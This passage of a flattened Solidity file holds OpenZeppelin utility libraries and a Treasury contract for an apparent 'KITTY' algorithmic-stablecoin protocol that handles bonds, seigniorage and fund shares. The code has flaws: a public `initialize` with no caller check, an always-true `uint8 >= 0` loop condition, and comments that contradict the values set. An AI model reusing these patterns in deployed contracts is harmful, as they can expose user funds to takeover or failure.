not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/lib/Babylonian.sol // License-Identifier: MIT pragma solidity ^0.6.0; library Babylonian { function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // File @openzeppelin/contracts/utils/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/GSN/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; // File @openzeppelin/contracts/access/[email protected] // License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/owner/Operator.sol // License-Identifier: MIT pragma solidity 0.6.12; contract Operator is Context, Ownable { address private _operator; event OperatorTransferred(address indexed previousOperator, address indexed newOperator); constructor() internal { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); } function operator() public view returns (address) { return _operator; } modifier onlyOperator() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } function isOperator() public view returns (bool) { return _msgSender() == _operator; } function transferOperator(address newOperator_) public onlyOwner { _transferOperator(newOperator_); } function _transferOperator(address newOperator_) internal { require(newOperator_ != address(0), "operator: zero address given for new operator"); emit OperatorTransferred(address(0), newOperator_); _operator = newOperator_; } } // File contracts/utils/ContractGuard.sol // License-Identifier: MIT pragma solidity 0.6.12; contract ContractGuard { mapping(uint256 => mapping(address => bool)) private _status; function checkSameOriginReentranted() internal view returns (bool) { return _status[block.number][tx.origin]; } function checkSameSenderReentranted() internal view returns (bool) { return _status[block.number][msg.sender]; } modifier onlyOneBlock() { require(!checkSameOriginReentranted(), "ContractGuard: one block, one function"); require(!checkSameSenderReentranted(), "ContractGuard: one block, one function"); _; _status[block.number][tx.origin] = true; _status[block.number][msg.sender] = true; } } // File contracts/interfaces/IBasisAsset.sol // License-Identifier: MIT pragma solidity ^0.6.0; interface IBasisAsset { function mint(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function burnFrom(address from, uint256 amount) external; function isOperator() external returns (bool); function operator() external view returns (address); function transferOperator(address newOperator_) external; } // File contracts/interfaces/IOracle.sol // License-Identifier: MIT pragma solidity 0.6.12; interface IOracle { function update() external; function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut); function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut); } // File contracts/interfaces/INursery.sol // License-Identifier: MIT pragma solidity 0.6.12; interface INursery { function balanceOf(address _member) external view returns (uint256); function earned(address _member) external view returns (uint256); function canWithdraw(address _member) external view returns (bool); function canClaimReward(address _member) external view returns (bool); function epoch() external view returns (uint256); function nextEpochPoint() external view returns (uint256); function getKittyPrice() external view returns (uint256); function setOperator(address _operator) external; function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external; function stake(uint256 _amount) external; function withdraw(uint256 _amount) external; function exit() external; function claimReward() external; function allocateSeigniorage(uint256 _amount) external; function governanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external; } // File contracts/Treasury.sol // License-Identifier: MIT pragma solidity 0.6.12; /* __ __ __ ______ ______ __ __ /\ \/ / /\ \ /\__ _\ /\__ _\ /\ \_\ \ \ \ _"-. \ \ \ \/_/\ \/ \/_/\ \/ \ \____ \ \ \_\ \_\ \ \_\ \ \_\ \ \_\ \/\_____\ \/_/\/_/ \/_/ \/_/ \/_/ \/_____/ */ contract Treasury is ContractGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /* ========= CONSTANT VARIABLES ======== */ uint256 public constant PERIOD = 6 hours; /* ========== STATE VARIABLES ========== */ // governance address public operator; // flags bool public initialized = false; // epoch uint256 public startTime; uint256 public epoch = 0; uint256 public epochSupplyContractionLeft = 0; // core components address public kitty; address public bbond; address public bshare; address public nursery; address public kittyOracle; // price uint256 public kittyPriceOne; uint256 public kittyPriceCeiling; uint256 public seigniorageSaved; uint256[] public supplyTiers; uint256[] public maxExpansionTiers; uint256 public maxSupplyExpansionPercent; uint256 public bondDepletionFloorPercent; uint256 public seigniorageExpansionFloorPercent; uint256 public maxSupplyContractionPercent; uint256 public maxDebtRatioPercent; // 28 first epochs (1 week) with 4.5% expansion regardless of KITTY price uint256 public bootstrapEpochs; uint256 public bootstrapSupplyExpansionPercent; /* =================== Added variables =================== */ uint256 public previousEpochKittyPrice; uint256 public maxDiscountRate; // when purchasing bond uint256 public maxPremiumRate; // when redeeming bond uint256 public discountPercent; uint256 public premiumThreshold; uint256 public premiumPercent; uint256 public mintingFactorForPayingDebt; // print extra KITTY during debt phase address public daoFund; uint256 public daoFundSharedPercent; address public devFund; uint256 public devFundSharedPercent; address public team1Fund; uint256 public team1FundSharedPercent; /* =================== Events =================== */ event Initialized(address indexed executor, uint256 at); event BurnedBonds(address indexed from, uint256 bondAmount); event RedeemedBonds(address indexed from, uint256 kittyAmount, uint256 bondAmount); event BoughtBonds(address indexed from, uint256 kittyAmount, uint256 bondAmount); event TreasuryFunded(uint256 timestamp, uint256 seigniorage); event NurseryFunded(uint256 timestamp, uint256 seigniorage); event DaoFundFunded(uint256 timestamp, uint256 seigniorage); event DevFundFunded(uint256 timestamp, uint256 seigniorage); event TeamFundFunded(uint256 timestamp, uint256 seigniorage); /* =================== Modifier =================== */ modifier onlyOperator() { require(operator == msg.sender, "Treasury: caller is not the operator"); _; } modifier checkCondition() { require(now >= startTime, "Treasury: not started yet"); _; } modifier checkEpoch() { require(now >= nextEpochPoint(), "Treasury: not opened yet"); _; epoch = epoch.add(1); epochSupplyContractionLeft = (getKittyPrice() > kittyPriceCeiling) ? 0 : getKittyCirculatingSupply().mul(maxSupplyContractionPercent).div(10000); } modifier checkOperator() { require( IBasisAsset(kitty).operator() == address(this) && IBasisAsset(bbond).operator() == address(this) && IBasisAsset(bshare).operator() == address(this) && Operator(nursery).operator() == address(this), "Treasury: need more permission" ); _; } modifier notInitialized() { require(!initialized, "Treasury: already initialized"); _; } /* ========== VIEW FUNCTIONS ========== */ function isInitialized() public view returns (bool) { return initialized; } // epoch function nextEpochPoint() public view returns (uint256) { return startTime.add(epoch.mul(PERIOD)); } // oracle function getKittyPrice() public view returns (uint256 kittyPrice) { try IOracle(kittyOracle).consult(kitty, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult KITTY price from the oracle"); } } function getKittyUpdatedPrice() public view returns (uint256 _kittyPrice) { try IOracle(kittyOracle).twap(kitty, 1e18) returns (uint144 price) { return uint256(price); } catch { revert("Treasury: failed to consult KITTY price from the oracle"); } } // budget function getReserve() public view returns (uint256) { return seigniorageSaved; } function getBurnableKittyLeft() public view returns (uint256 _burnableKittyLeft) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice <= kittyPriceOne) { uint256 _kittySupply = getKittyCirculatingSupply(); uint256 _bondMaxSupply = _kittySupply.mul(maxDebtRatioPercent).div(10000); uint256 _bondSupply = IERC20(bbond).totalSupply(); if (_bondMaxSupply > _bondSupply) { uint256 _maxMintableBond = _bondMaxSupply.sub(_bondSupply); uint256 _maxBurnableKitty = _maxMintableBond.mul(_kittyPrice).div(1e18); _burnableKittyLeft = Math.min(epochSupplyContractionLeft, _maxBurnableKitty); } } } function getRedeemableBonds() public view returns (uint256 _redeemableBonds) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice > kittyPriceCeiling) { uint256 _totalKitty = IERC20(kitty).balanceOf(address(this)); uint256 _rate = getBondPremiumRate(); if (_rate > 0) { _redeemableBonds = _totalKitty.mul(1e18).div(_rate); } } } function getBondDiscountRate() public view returns (uint256 _rate) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice <= kittyPriceOne) { if (discountPercent == 0) { // no discount _rate = kittyPriceOne; } else { uint256 _bondAmount = kittyPriceOne.mul(1e18).div(_kittyPrice); // to burn 1 KITTY uint256 _discountAmount = _bondAmount.sub(kittyPriceOne).mul(discountPercent).div(10000); _rate = kittyPriceOne.add(_discountAmount); if (maxDiscountRate > 0 && _rate > maxDiscountRate) { _rate = maxDiscountRate; } } } } function getBondPremiumRate() public view returns (uint256 _rate) { uint256 _kittyPrice = getKittyPrice(); if (_kittyPrice > kittyPriceCeiling) { uint256 _kittyPricePremiumThreshold = kittyPriceOne.mul(premiumThreshold).div(100); if (_kittyPrice >= _kittyPricePremiumThreshold) { //Price > 1.10 uint256 _premiumAmount = _kittyPrice.sub(kittyPriceOne).mul(premiumPercent).div(10000); _rate = kittyPriceOne.add(_premiumAmount); if (maxPremiumRate > 0 && _rate > maxPremiumRate) { _rate = maxPremiumRate; } } else { // no premium bonus _rate = kittyPriceOne; } } } /* ========== GOVERNANCE ========== */ function initialize( address _kitty, address _bbond, address _bshare, address _kittyOracle, address _nursery, uint256 _startTime ) public notInitialized { kitty = _kitty; bbond = _bbond; bshare = _bshare; kittyOracle = _kittyOracle; nursery = _nursery; startTime = _startTime; kittyPriceOne = 10**18; // This is to allow a PEG of 1 KITTY per AVAX kittyPriceCeiling = kittyPriceOne.mul(101).div(100); // Dynamic max expansion percent supplyTiers = [0 ether, 5000 ether, 10000 ether, 15000 ether, 20000 ether, 50000 ether, 100000 ether, 200000 ether, 500000 ether]; maxExpansionTiers = [450, 400, 350, 300, 250, 200, 150, 125, 100]; maxSupplyExpansionPercent = 400; // Upto 4.0% supply for expansion bondDepletionFloorPercent = 10000; // 100% of Bond supply for depletion floor seigniorageExpansionFloorPercent = 3500; // At least 35% of expansion reserved for nursery maxSupplyContractionPercent = 300; // Upto 3.0% supply for contraction (to burn KITTY and mint tBOND) maxDebtRatioPercent = 4500; // Upto 35% supply of tBOND to purchase premiumThreshold = 110; premiumPercent = 7000; // First 28 epochs with 4.5% expansion bootstrapEpochs = 0; bootstrapSupplyExpansionPercent = 450; // set seigniorageSaved to it's balance seigniorageSaved = IERC20(kitty).balanceOf(address(this)); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setNursery(address _nursery) external onlyOperator { nursery = _nursery; } function setKittyOracle(address _kittyOracle) external onlyOperator { kittyOracle = _kittyOracle; } function setKittyPriceCeiling(uint256 _kittyPriceCeiling) external onlyOperator { require(_kittyPriceCeiling >= kittyPriceOne && _kittyPriceCeiling <= kittyPriceOne.mul(120).div(100), "out of range"); // [$1.0, $1.2] kittyPriceCeiling = _kittyPriceCeiling; } function setMaxSupplyExpansionPercents(uint256 _maxSupplyExpansionPercent) external onlyOperator { require(_maxSupplyExpansionPercent >= 10 && _maxSupplyExpansionPercent <= 1000, "_maxSupplyExpansionPercent: out of range"); // [0.1%, 10%] maxSupplyExpansionPercent = _maxSupplyExpansionPercent; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setMaxExpansionTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); require(_value >= 10 && _value <= 1000, "_value: out of range"); // [0.1%, 10%] maxExpansionTiers[_index] = _value; return true; } function setBondDepletionFloorPercent(uint256 _bondDepletionFloorPercent) external onlyOperator { require(_bondDepletionFloorPercent >= 500 && _bondDepletionFloorPercent <= 10000, "out of range"); // [5%, 100%] bondDepletionFloorPercent = _bondDepletionFloorPercent; } function setMaxSupplyContractionPercent(uint256 _maxSupplyContractionPercent) external onlyOperator { require(_maxSupplyContractionPercent >= 100 && _maxSupplyContractionPercent <= 1500, "out of range"); // [0.1%, 15%] maxSupplyContractionPercent = _maxSupplyContractionPercent; } function setMaxDebtRatioPercent(uint256 _maxDebtRatioPercent) external onlyOperator { require(_maxDebtRatioPercent >= 1000 && _maxDebtRatioPercent <= 10000, "out of range"); // [10%, 100%] maxDebtRatioPercent = _maxDebtRatioPercent; } function setBootstrap(uint256 _bootstrapEpochs, uint256 _bootstrapSupplyExpansionPercent) external onlyOperator { require(_bootstrapEpochs <= 120, "_bootstrapEpochs: out of range"); // <= 1 month require(_bootstrapSupplyExpansionPercent >= 100 && _bootstrapSupplyExpansionPercent <= 1000, "_bootstrapSupplyExpansionPercent: out of range"); // [1%, 10%] bootstrapEpochs = _bootstrapEpochs; bootstrapSupplyExpansionPercent = _bootstrapSupplyExpansionPercent; } function setExtraFunds( address _daoFund, uint256 _daoFundSharedPercent, address _devFund, uint256 _devFundSharedPercent, address _team1Fund, uint256 _team1FundSharedPercent ) external onlyOperator { require(_daoFund != address(0), "zero"); require(_daoFundSharedPercent <= 3000, "out of range"); // <= 30% require(_devFund != address(0), "zero"); require(_devFundSharedPercent <= 500, "out of range"); // <= 5% require(_team1Fund != address(0), "zero"); require(_team1FundSharedPercent <= 500, "out of range"); // <= 5% daoFund = _daoFund; daoFundSharedPercent = _daoFundSharedPercent; devFund = _devFund; devFundSharedPercent = _devFundSharedPercent; team1Fund = _team1Fund; team1FundSharedPercent = _team1FundSharedPercent; } function setMaxDiscountRate(uint256 _maxDiscountRate) external onlyOperator { maxDiscountRate = _maxDiscountRate; } function setMaxPremiumRate(uint256 _maxPremiumRate) external onlyOperator { maxPremiumRate = _maxPremiumRate; } function setDiscountPercent(uint256 _discountPercent) external onlyOperator { require(_discountPercent <= 20000, "_discountPercent is over 200%"); discountPercent = _discountPercent; } function setPremiumThreshold(uint256 _premiumThreshold) external onlyOperator { require(_premiumThreshold >= kittyPriceCeiling, "_premiumThreshold exceeds kittyPriceCeiling"); require(_premiumThreshold <= 150, "_premiumThreshold is higher than 1.5"); premiumThreshold = _premiumThreshold; } function setPremiumPercent(uint256 _premiumPercent) external onlyOperator { require(_premiumPercent <= 20000, "_premiumPercent is over 200%"); premiumPercent = _premiumPercent; } function setMintingFactorForPayingDebt(uint256 _mintingFactorForPayingDebt) external onlyOperator { require(_mintingFactorForPayingDebt >= 10000 && _mintingFactorForPayingDebt <= 20000, "_mintingFactorForPayingDebt: out of range"); // [100%, 200%] mintingFactorForPayingDebt = _mintingFactorForPayingDebt; } /* ========== MUTABLE FUNCTIONS ========== */ function _updateKittyPrice() internal { try IOracle(kittyOracle).update() {} catch {} } function getKittyCirculatingSupply() public view returns (uint256) { IERC20 kittyErc20 = IERC20(kitty); uint256 totalSupply = kittyErc20.totalSupply(); uint256 balanceExcluded = 0; return totalSupply.sub(balanceExcluded); } function buyBonds(uint256 _kittyAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_kittyAmount > 0, "Treasury: cannot purchase bonds with zero amount"); uint256 kittyPrice = getKittyPrice(); require(kittyPrice == targetPrice, "Treasury: KITTY price moved"); require( kittyPrice < kittyPriceOne, // price < $1 "Treasury: kittyPrice not eligible for bond purchase" ); require(_kittyAmount <= epochSupplyContractionLeft, "Treasury: not enough bond left to purchase"); uint256 _rate = getBondDiscountRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _bondAmount = _kittyAmount.mul(_rate).div(1e18); uint256 kittySupply = getKittyCirculatingSupply(); uint256 newBondSupply = IERC20(bbond).totalSupply().add(_bondAmount); require(newBondSupply <= kittySupply.mul(maxDebtRatioPercent).div(10000), "over max debt ratio"); IBasisAsset(kitty).burnFrom(msg.sender, _kittyAmount); IBasisAsset(bbond).mint(msg.sender, _bondAmount); epochSupplyContractionLeft = epochSupplyContractionLeft.sub(_kittyAmount); _updateKittyPrice(); emit BoughtBonds(msg.sender, _kittyAmount, _bondAmount); } function redeemBonds(uint256 _bondAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_bondAmount > 0, "Treasury: cannot redeem bonds with zero amount"); uint256 kittyPrice = getKittyPrice(); require(kittyPrice == targetPrice, "Treasury: KITTY price moved"); require( kittyPrice > kittyPriceCeiling, // price > $1.01 "Treasury: kittyPrice not eligible for bond purchase" ); uint256 _rate = getBondPremiumRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _kittyAmount = _bondAmount.mul(_rate).div(1e18); require(IERC20(kitty).balanceOf(address(this)) >= _kittyAmount, "Treasury: treasury has no more budget"); seigniorageSaved = seigniorageSaved.sub(Math.min(seigniorageSaved, _kittyAmount)); IBasisAsset(bbond).burnFrom(msg.sender, _bondAmount); IERC20(kitty).safeTransfer(msg.sender, _kittyAmount); _updateKittyPrice(); emit RedeemedBonds(msg.sender, _kittyAmount, _bondAmount); } function _sendToNursery(uint256 _amount) internal { IBasisAsset(kitty).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(kitty).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(kitty).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } uint256 _team1FundSharedAmount = 0; if (team1FundSharedPercent > 0) { _team1FundSharedAmount = _amount.mul(team1FundSharedPercent).div(10000); IERC20(kitty).transfer(team1Fund, _team1FundSharedAmount); emit TeamFundFunded(now, _team1FundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount).sub(_team1FundSharedAmount); IERC20(kitty).safeApprove(nursery, 0); IERC20(kitty).safeApprove(nursery, _amount); INursery(nursery).allocateSeigniorage(_amount); emit NurseryFunded(now, _amount); } function _calculateMaxSupplyExpansionPercent(uint256 _kittySupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_kittySupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updateKittyPrice(); previousEpochKittyPrice = getKittyPrice(); uint256 kittySupply = getKittyCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { // 28 first epochs with 4.5% expansion _sendToNursery(kittySupply.mul(bootstrapSupplyExpansionPercent).div(10000)); } else { if (previousEpochKittyPrice > kittyPriceCeiling) { // Expansion ($KITTY Price > 1 $ETH): there is some seigniorage to be allocated uint256 bondSupply = IERC20(bbond).totalSupply(); uint256 _percentage = previousEpochKittyPrice.sub(kittyPriceOne); uint256 _savedForBond; uint256 _savedForNursery; uint256 _mse = _calculateMaxSupplyExpansionPercent(kittySupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { // saved enough to pay debt, mint as usual rate _savedForNursery = kittySupply.mul(_percentage).div(1e18); } else { // have not saved enough to pay debt, mint more uint256 _seigniorage = kittySupply.mul(_percentage).div(1e18); _savedForNursery = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForNursery); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForNursery > 0) { _sendToNursery(_savedForNursery); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(kitty).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function governanceRecoverUnsupported( IERC20 _token, uint256 _amount, address _to ) external onlyOperator { // do not allow to drain core tokens require(address(_token) != address(kitty), "kitty"); require(address(_token) != address(bbond), "bond"); require(address(_token) != address(bshare), "share"); _token.safeTransfer(_to, _amount); } function nurserySetOperator(address _operator) external onlyOperator { INursery(nursery).setOperator(_operator); } function nurserySetLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator { INursery(nursery).setLockUp(_withdrawLockupEpochs, _rewardLockupEpochs); } function nurseryAllocateSeigniorage(uint256 amount) external onlyOperator { INursery(nursery).allocateSeigniorage(amount); } function nurseryGovernanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external onlyOperator { 